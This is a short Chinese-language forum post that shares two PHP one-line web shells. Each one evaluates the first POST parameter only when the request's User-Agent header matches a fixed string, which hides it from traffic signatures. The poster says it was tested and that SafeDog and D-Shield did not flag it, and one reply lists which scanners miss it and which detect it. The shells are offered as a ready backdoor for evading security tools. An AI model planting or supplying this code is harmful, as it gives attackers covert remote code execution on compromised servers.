无流量特征(无固定参数密码)免杀一句话

admin 2020-10-6 2211

在土司看到的一个 奇技淫巧 

经过测试可用

<?php if($_SERVER[HTTP_USER_AGENT]==="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36  "){eval(reset(get_defined_vars()[_POST]));};?>

//或者

<?php if($_SERVER[HTTP_USER_AGENT]==="123"){eval(reset(get_defined_vars()[_POST]));};?>

安全狗和D盾均未提示


最新回复 (2)
  • 超级问鼎 2021-1-30
    2
    亲测,宝塔、https://scanner.baidu.com/、http://webshell.cdxy.me 识别不出来,但是阿里云服务器能够识别的出来。
  • laodexin 4月前
    3
    发生过发给大富大贵
返回
发新帖